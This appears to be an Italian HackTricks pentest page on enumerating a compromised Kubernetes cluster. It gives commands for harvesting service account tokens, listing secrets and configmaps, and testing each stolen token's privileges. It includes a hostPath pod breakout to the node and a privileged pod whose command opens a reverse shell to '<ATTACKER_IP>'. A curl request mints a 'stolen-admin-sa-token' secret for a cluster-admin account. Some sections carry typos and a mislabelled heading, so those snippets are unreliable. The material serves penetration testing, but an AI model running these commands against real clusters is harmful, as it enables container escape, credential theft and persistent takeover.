28 KiB
Kubernetes Enumeration
{{#include ../../banners/hacktricks-training.md}}
Kubernetes Tokens
Se hai compromesso l'accesso a una macchina, l'utente potrebbe avere accesso a qualche piattaforma Kubernetes. Il token si trova di solito in un file indicato dalla env var KUBECONFIG o dentro ~/.kube.
In questa cartella potresti trovare file di configurazione con tokens e configurazioni per connettersi all'API server. In questa cartella puoi anche trovare una cache folder con informazioni recuperate in precedenza.
Se hai compromesso un pod dentro un ambiente kubernetes, ci sono altri posti dove puoi trovare token e informazioni sul K8 env attuale:
Service Account Tokens
Prima di continuare, se non sai cos'è un service in Kubernetes ti suggerirei di seguire questo link e leggere almeno le informazioni sull'architettura di Kubernetes.
Tratto dalla documentation di Kubernetes:
“When you create a pod, if you do not specify a service account, it is automatically assigned the default service account in the same namespace.”
ServiceAccount è un oggetto gestito da Kubernetes e usato per fornire un'identità ai processi che girano in un pod.
Ogni service account ha un secret associato e questo secret contiene un bearer token. Questo è un JSON Web Token (JWT), un metodo per rappresentare in modo sicuro le claims tra due parti.
Di solito una delle directory:
/run/secrets/kubernetes.io/serviceaccount/var/run/secrets/kubernetes.io/serviceaccount/secrets/kubernetes.io/serviceaccount
contiene i file:
- ca.crt: È il certificato ca per verificare le comunicazioni kubernetes
- namespace: Indica il namespace corrente
- token: Contiene il service token del pod corrente.
Ora che hai il token, puoi trovare l'API server dentro la variabile d'ambiente KUBECONFIG. Per maggiori informazioni esegui (env | set) | grep -i "kuber|kube"
Il service account token viene firmato dalla chiave presente nel file sa.key e validato da sa.pub.
Posizione predefinita su Kubernetes:
- /etc/kubernetes/pki
Posizione predefinita su Minikube:
- /var/lib/localkube/certs
Hot Pods
Hot pods are pod che contengono un privileged service account token. Un privileged service account token è un token che ha il permesso di eseguire task privilegiati come elencare secrets, creare pod, ecc.
RBAC
Se non sai cos'è RBAC, leggi questa sezione.
GUI Applications
- k9s: Una GUI che enumera un kubernetes cluster dal terminale. Controlla i comandi inhttps://k9scli.io/topics/commands/. Scrivi
:namespacee seleziona all per poi cercare risorse in tutti i namespace. - k8slens: Offre alcuni giorni di free trial: https://k8slens.dev/
Enumeration CheatSheet
Per enumerare un ambiente K8s hai bisogno di un paio di cose:
- Un valid authentication token. Nella sezione precedente abbiamo visto dove cercare un user token e un service account token.
- L'address (https://host:port) dell'API di Kubernetes. Di solito si trova nelle variabili d'ambiente e/o nel file kube config.
- Optional: Il ca.crt per verificare l'API server. Si può trovare negli stessi posti in cui si trova il token. Questo è utile per verificare il certificato dell'API server, ma usando
--insecure-skip-tls-verifyconkubectlo-kconcurlnon ne avrai bisogno.
Con quei dettagli puoi enumerate kubernetes. Se l'API per qualche motivo è accessible attraverso Internet, puoi semplicemente scaricare quelle informazioni ed enumerare la piattaforma dal tuo host.
Tuttavia, di solito l'API server è dentro una rete interna, quindi dovrai creare un tunnel attraverso la macchina compromessa per accedervi dalla tua macchina, oppure puoi caricare il binario kubectl, o usare curl/wget/anything per eseguire raw HTTP requests all'API server.
Differences between list and get verbs
Con i permessi get puoi accedere alle informazioni di specifici asset (opzione describe in kubectl) API:
GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}
Se hai il permesso list, puoi eseguire richieste API per elencare un tipo di asset (opzione get in kubectl):
#In a namespace
GET /apis/apps/v1/namespaces/{namespace}/deployments
#In all namespaces
GET /apis/apps/v1/deployments
Se hai il permesso watch, puoi eseguire richieste API per monitorare gli asset:
GET /apis/apps/v1/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name} [DEPRECATED]
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments [DEPRECATED]
GET /apis/apps/v1/watch/deployments [DEPRECATED]
Aprono una connessione in streaming che ti restituisce il manifest completo di un Deployment ogni volta che cambia (o quando ne viene creato uno nuovo).
Caution
I seguenti comandi
kubectlindicano solo come elencare gli oggetti. Se vuoi accedere ai dati devi usaredescribeinvece diget
Usando curl
Dall'interno di un pod puoi usare diverse variabili env:
export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
export TOKEN=$(cat ${SERVICEACCOUNT}/token)
export CACERT=${SERVICEACCOUNT}/ca.crt
alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\""
# if kurl is still got cert Error, using -k option to solve this.
Warning
Di default il pod può accedere al kube-api server nel nome di dominio
kubernetes.default.svce puoi vedere la rete kube in/etc/resolv.configpoiché qui troverai l'indirizzo del server DNS di kubernetes (il ".1" dello stesso range è l'endpoint kube-api).
Usando kubectl
Avendo il token e l'indirizzo dell'API server puoi usare kubectl o curl per accedervi come indicato qui:
Di default, l'APISERVER comunica con lo schema https://
alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true [--all-namespaces]' # Use --all-namespaces to always search in all namespaces
se non c'è
https://nell'url, potresti ottenere un errore come Bad Request.
Puoi trovare un official kubectl cheatsheet here. L'obiettivo delle sezioni seguenti è presentare in modo ordinato diverse opzioni per enumerare e comprendere il nuovo K8s a cui hai ottenuto accesso.
Per trovare la richiesta HTTP che kubectl invia puoi usare il parametro -v=8
MitM kubectl - Proxyfying kubectl
# Launch burp
# Set proxy
export HTTP_PROXY=http://localhost:8080
export HTTPS_PROXY=http://localhost:8080
# Launch kubectl
kubectl get namespace --insecure-skip-tls-verify=true
Configurazione attuale
{{#tabs }} {{#tab name="Kubectl" }}
kubectl config get-users
kubectl config get-contexts
kubectl config get-clusters
kubectl config current-context
# Change namespace
kubectl config set-context --current --namespace=<namespace>
{{#endtab }} {{#endtabs }}
Se sei riuscito a rubare le credenziali di alcuni utenti, puoi configurarle localmente usando qualcosa come:
kubectl config set-credentials USER_NAME \
--auth-provider=oidc \
--auth-provider-arg=idp-issuer-url=( issuer url ) \
--auth-provider-arg=client-id=( your client id ) \
--auth-provider-arg=client-secret=( your client secret ) \
--auth-provider-arg=refresh-token=( your refresh token ) \
--auth-provider-arg=idp-certificate-authority=( path to your ca certificate ) \
--auth-provider-arg=id-token=( your id_token )
Ottenere le Risorse Supportate
Con queste info saprai tutti i servizi che puoi elencare
{{#tabs }} {{#tab name="kubectl" }}
k api-resources --namespaced=true #Resources specific to a namespace
k api-resources --namespaced=false #Resources NOT specific to a namespace
{{#endtab }} {{#endtabs }}
Metadata degli oggetti da controllare
Quando puoi leggere un oggetto, esporta il YAML o JSON completo invece di affidarti solo all’output della tabella o a describe. Il contesto di sicurezza più utile spesso si trova nei campi generici dell’oggetto che esistono in molti tipi di risorse:
kubectl get pod <pod> -n <ns> -o yaml
kubectl get deploy <deploy> -n <ns> -o json | jq '.metadata, .spec, .status'
kubectl get pods -A -o custom-columns='NS:.metadata.namespace,NAME:.metadata.name,SA:.spec.serviceAccountName,NODE:.spec.nodeName,PHASE:.status.phase'
metadata.uid,name,namespace,apiVersionekindidentificano l’oggetto esatto ed evitano confusione tra oggetti con lo stesso nome in namespace o API groups diversi.metadata.labelse selectors collegano Services, Deployments, ReplicaSets, Pods, NetworkPolicies e automazione. Seguire i selectors è spesso il modo più rapido per identificare i real backend pods di un Service.metadata.annotationspuò leak contesto operativo come comportamento ingress, impostazioni cloud load balancer, metadati GitOps o Helm, eccezioni di policy e configurazione service mesh. Non dovrebbero contenere secrets, ma nei cluster reali spesso espongono indizi utili.metadata.ownerReferencesmostra la catena di controllo. Se un Pod è posseduto da un ReplicaSet posseduto da un Deployment, modificare o eliminare solo il Pod di solito non risolve la causa.metadata.finalizersemetadata.deletionTimestampspiegano risorse bloccate in eliminazione e possono rivelare cleanup controllers o trucchi di persistence/disruption.status, Events e conditions possono rivelare posizionamento dei node, pod IPs, image IDs, messaggi di errore, problemi di scheduling, admission denials e avanzamento del controller. Sono indizi utili, ma gli audit logs sono comunque necessari per provare chi ha eseguito un’azione.
Get Current Privileges
{{#tabs }} {{#tab name="kubectl" }}
k auth can-i --list #Get privileges in general
k auth can-i --list -n custnamespace #Get privileves in custnamespace
# Get service account permissions
k auth can-i --list --as=system:serviceaccount:<namespace>:<sa_name> -n <namespace>
{{#endtab }}
{{#tab name="API" }}
kurl -i -s -k -X $'POST' \
-H $'Content-Type: application/json' \
--data-binary $'{\"kind\":\"SelfSubjectRulesReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"metadata\":{\"creationTimestamp\":null},\"spec\":{\"namespace\":\"default\"},\"status\":{\"resourceRules\":null,\"nonResourceRules\":null,\"incomplete\":false}}\x0a' \
"https://$APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews"
{{#endtab }} {{#endtabs }}
Un altro modo per verificare i tuoi privilegi è usare lo strumento: https://github.com/corneliusweig/rakkess****
Puoi saperne di più su Kubernetes RBAC in:
{{#ref}} kubernetes-role-based-access-control-rbac.md {{#endref}}
Una volta che sai quali privilegi hai, controlla la seguente pagina per capire se puoi abusarne per elevare i privilegi:
{{#ref}} abusing-roles-clusterroles-in-kubernetes/ {{#endref}}
Ottieni i ruoli degli altri
{{#tabs }} {{#tab name="kubectl" }}
k get roles
k get clusterroles
{{#endtab }}
{{#tab name="API" }}
kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/roles?limit=500"
kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/clusterroles?limit=500"
{{#endtab }} {{#endtabs }}
Ottenere i namespaces
Kubernetes supporta multiple virtual clusters supportati dallo stesso physical cluster. Questi virtual clusters sono chiamati namespaces.
{{#tabs }} {{#tab name="kubectl" }}
k get namespaces
{{#endtab }}
{{#tab name="API" }}
kurl -k -v https://$APISERVER/api/v1/namespaces/
{{#endtab }} {{#endtabs }}
Ottenere secrets
{{#tabs }} {{#tab name="kubectl" }}
k get secrets -o yaml
k get secrets -o yaml -n custnamespace
{{#endtab }}
{{#tab name="API" }}
kurl -v https://$APISERVER/api/v1/namespaces/default/secrets/
kurl -v https://$APISERVER/api/v1/namespaces/custnamespace/secrets/
{{#endtab }} {{#endtabs }}
Se puoi leggere secrets, puoi usare le seguenti linee per ottenere i privilegi associati a ogni token:
for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done
Ottieni Service Accounts
Come discusso all'inizio di questa pagina quando un pod viene eseguito, di solito gli viene assegnato un service account. Pertanto, elencare i service accounts, i loro permessi e dove sono in esecuzione può permettere a un utente di escalare i privilegi.
{{#tabs }} {{#tab name="kubectl" }}
k get serviceaccounts
{{#endtab }}
{{#tab name="API" }}
kurl -k -v https://$APISERVER/api/v1/namespaces/{namespace}/serviceaccounts
{{#endtab }} {{#endtabs }}
Ottieni Deployments
I Deployments specificano lo stato desiderato per i workload di applicazioni stateless. Creano ReplicaSets, e quei ReplicaSets creano Pods.
{{#tabs }} {{#tab name="kubectl" }}
k get deployments
k get deployments -n custnamespace
{{#endtab }}
{{#tab name="API" }}
kurl -v https://$APISERVER/apis/apps/v1/namespaces/<namespace>/deployments/
{{#endtab }} {{#endtabs }}
Ottenere i StatefulSets
StatefulSets gestiscono i Pods che necessitano di nomi stabili, comportamento di rollout ordinato e spesso volumi persistenti per replica.
{{#tabs }} {{#tab name="kubectl" }}
k get statefulsets
k get statefulsets -n custnamespace
{{#endtab }}
{{#tab name="API" }}
kurl -v https://$APISERVER/apis/apps/v1/namespaces/<namespace>/statefulsets/
{{#endtab }} {{#endtabs }}
Ottenere Pods
I Pods sono i veri containers che verranno eseguiti.
{{#tabs }} {{#tab name="kubectl" }}
k get pods
k get pods -n custnamespace
{{#endtab }}
{{#tab name="API" }}
kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/pods/
{{#endtab }} {{#endtabs }}
Ottenere i Services
I services di Kubernetes sono usati per esporre un service in una porta e IP specifici (che agiranno come load balancer per i pods che stanno effettivamente offrendo il service). È interessante saperlo per capire dove puoi trovare altri services da provare ad attaccare.
{{#tabs }} {{#tab name="kubectl" }}
k get services
k get services -n custnamespace
{{#endtab }}
{{#tab name="API" }}
kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/services/
{{#endtab }} {{#endtabs }}
Ottieni nodes
Ottieni tutti i nodes configurati all'interno del cluster.
{{#tabs }} {{#tab name="kubectl" }}
k get nodes
{{#endtab }}
{{#tab name="API" }}
kurl -v https://$APISERVER/api/v1/nodes/
{{#endtab }} {{#endtabs }}
Ottenere i DaemonSets
I DaemonSets assicurano che un specifico Pod sia in esecuzione su tutti i nodi selezionati del cluster. Se elimini il DaemonSet, anche i Pod gestiti da esso verranno rimossi.
{{#tabs }} {{#tab name="kubectl" }}
k get daemonsets
{{#endtab }}
{{#tab name="API" }}
kurl -v https://$APISERVER/apis/apps/v1/namespaces/<namespace>/daemonsets
{{#endtab }} {{#endtabs }}
Ottieni Jobs
I Jobs creano Pods che vengono eseguiti fino al completamento. Sono comunemente usati per migrazioni, backup, lavoro batch e attività amministrative una tantum.
{{#tabs }} {{#tab name="kubectl" }}
k get jobs
k get jobs -n custnamespace
{{#endtab }}
{{#tab name="API" }}
kurl -v https://$APISERVER/apis/batch/v1/namespaces/<namespace>/jobs
{{#endtab }} {{#endtabs }}
Ottenere i CronJob
I CronJob usano una pianificazione simile a quella di crontab per creare Job che avviano Pod per l'esecuzione di attività.
{{#tabs }} {{#tab name="kubectl" }}
k get cronjobs
k get cronjobs -n custnamespace
{{#endtab }}
{{#tab name="API" }}
kurl -v https://$APISERVER/apis/batch/v1/namespaces/<namespace>/cronjobs
{{#endtab }} {{#endtabs }}
Ottenere configMap
configMap contiene sempre molte informazioni e file di configurazione forniti alle app in esecuzione in kubernetes. Di solito puoi trovare molte password, secret, token che vengono usati per connettersi e autenticarsi verso altri servizi interni/esterni.
{{#tabs }} {{#tab name="kubectl" }}
k get configmaps # -n namespace
{{#endtab }}
{{#tab name="API" }}
kurl -v https://$APISERVER/api/v1/namespaces/${NAMESPACE}/configmaps
{{#endtab }} {{#endtabs }}
Ottieni Network Policies / Cilium Network Policies
{{#tabs }} {{#tab name="First Tab" }}
k get networkpolicies
k get CiliumNetworkPolicies
k get CiliumClusterwideNetworkPolicies
{{#endtab }} {{#endtabs }}
Ottieni tutto / Tutti
{{#tabs }} {{#tab name="kubectl" }}
k get all
{{#endtab }} {{#endtabs }}
Ottieni tutte le risorse gestite da helm
{{#tabs }} {{#tab name="kubectl" }}
k get all --all-namespaces -l='app.kubernetes.io/managed-by=Helm'
{{#endtab }} {{#endtabs }}
Ottenere i consumi dei Pod
{{#tabs }} {{#tab name="kubectl" }}
k top pod --all-namespaces
{{#endtab }} {{#endtabs }}
Interagire con il cluster senza usare kubectl
Dato che il control plane di Kubernetes espone una REST-ful API, puoi costruire manualmente richieste HTTP e inviarle con altri strumenti, come curl o wget.
Uscire dal pod
Se sei in grado di creare nuovi pod potresti essere in grado di uscirne verso il node. Per farlo devi creare un nuovo pod usando un file yaml, passare al pod creato e poi fare chroot nel sistema del node. Puoi usare pod già esistenti come riferimento per il file yaml, dato che mostrano le immagini e i path esistenti.
kubectl get pod <name> [-n <namespace>] -o yaml
se hai bisogno di creare un pod su un nodo specifico, puoi usare il seguente comando per ottenere le label del nodo
k get nodes --show-labelsDi solito, kubernetes.io/hostname e node-role.kubernetes.io/master sono entrambe buone label da selezionare.
Poi crei il tuo file attack.yaml
apiVersion: v1
kind: Pod
metadata:
labels:
run: attacker-pod
name: attacker-pod
namespace: default
spec:
volumes:
- name: host-fs
hostPath:
path: /
containers:
- image: ubuntu
imagePullPolicy: Always
name: attacker-pod
command: ["/bin/sh", "-c", "sleep infinity"]
volumeMounts:
- name: host-fs
mountPath: /root
restartPolicy: Never
# nodeName and nodeSelector enable one of them when you need to create pod on the specific node
#nodeName: master
#nodeSelector:
# kubernetes.io/hostname: master
# or using
# node-role.kubernetes.io/master: ""
Dopo di ciò crei il pod
kubectl apply -f attacker.yaml [-n <namespace>]
Ora puoi passare al pod creato come segue
kubectl exec -it attacker-pod [-n <namespace>] -- sh # attacker-pod is the name defined in the yaml file
E infine fai chroot nel sistema del nodo
chroot /root /bin/bash
Informazioni ottenute da: Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1 Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1
Creazione di un privileged pod
Il file yaml corrispondente è il seguente:
apiVersion: v1
kind: Pod
metadata:
name: everything-allowed-exec-pod
labels:
app: pentest
spec:
hostNetwork: true
hostPID: true
hostIPC: true
containers:
- name: everything-allowed-pod
image: alpine
securityContext:
privileged: true
volumeMounts:
- mountPath: /host
name: noderoot
command: [ "/bin/sh", "-c", "--" ]
args: [ "nc <ATTACKER_IP> <ATTACKER_PORT> -e sh" ]
#nodeName: k8s-control-plane-node # Force your pod to run on the control-plane node by uncommenting this line and changing to a control-plane node name
volumes:
- name: noderoot
hostPath:
path: /
Creare il pod con curl:
CONTROL_PLANE_HOST=""
TOKEN=""
curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 478' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"labels\":{\"app\":\"pentest\"},\"name\":\"everything-allowed-exec-pod\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"args\":[\"nc <ATTACKER_IP> <ATTACKER_PORT> -e sh\"],\"command\":[\"/bin/sh\",\"-c\",\"--\"],\"image\":\"alpine\",\"name\":\"everything-allowed-pod\",\"securityContext\":{\"privileged\":true},\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"noderoot\"}]}],\"hostIPC\":true,\"hostNetwork\":true,\"hostPID\":true,\"volumes\":[{\"hostPath\":{\"path\":\"/\"},\"name\":\"noderoot\"}]}}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
Eliminare un pod
Eliminare un pod con curl:
CONTROL_PLANE_HOST=""
TOKEN=""
POD_NAME="everything-allowed-exec-pod"
curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods/$POD_NAME"
Creare un Service Account
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Length: 109' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"ServiceAccount\",\"metadata\":{\"name\":\"secrets-manager-sa-2\",\"namespace\":\"default\"}}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
Eliminare un Service Account
CONTROL_PLANE_HOST=""
TOKEN=""
SA_NAME=""
NAMESPACE="default"
curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 35' -H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts/$SA_NAME"
Creare un Role
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Content-Type: application/json' \
-H $'Accept: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 203' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"Role\",\"metadata\":{\"name\":\"secrets-manager-role\",\"namespace\":\"default\"},\"rules\":[{\"apiGroups\":[\"\"],\"resources\":[\"secrets\"],\"verbs\":[\"get\",\"create\"]}]}\x0a' \
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
Cancellare un Role
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
ROLE_NAME=""
curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles/$ROLE_NAME"
Creare un Role Binding
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 816' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"RoleBinding\",\"metadata\":{\"name\":\"secrets-manager-role-binding\",\"namespace\":\"default\"},\"roleRef\":{\"apiGroup\":\"rbac.authorization.k8s.io\",\"kind\":\"Role\",\"name\":\"secrets-manager-role\"},\"subjects\":[{\"apiGroup\":\"\",\"kind\":\"ServiceAccount\",\"name\":\"secrets-manager-sa\",\"namespace\":\"default\"}]}\x0a' \
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/$NAMESPACE/default/rolebindings?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
Eliminare un Role Binding
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
ROLE_BINDING_NAME=""
curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/rolebindings/$ROLE_BINDING_NAME"
Eliminare un Secret
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 219' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/$NAMESPACE/default/secrets?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
Elimina un Secret
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
SECRET_NAME=""
ccurl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Content-Type: application/json' \
-H $'Accept: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/secrets/$SECRET_NAME"
Riferimenti
{{#ref}} https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-3 {{#endref}}
{{#include ../../banners/hacktricks-training.md}}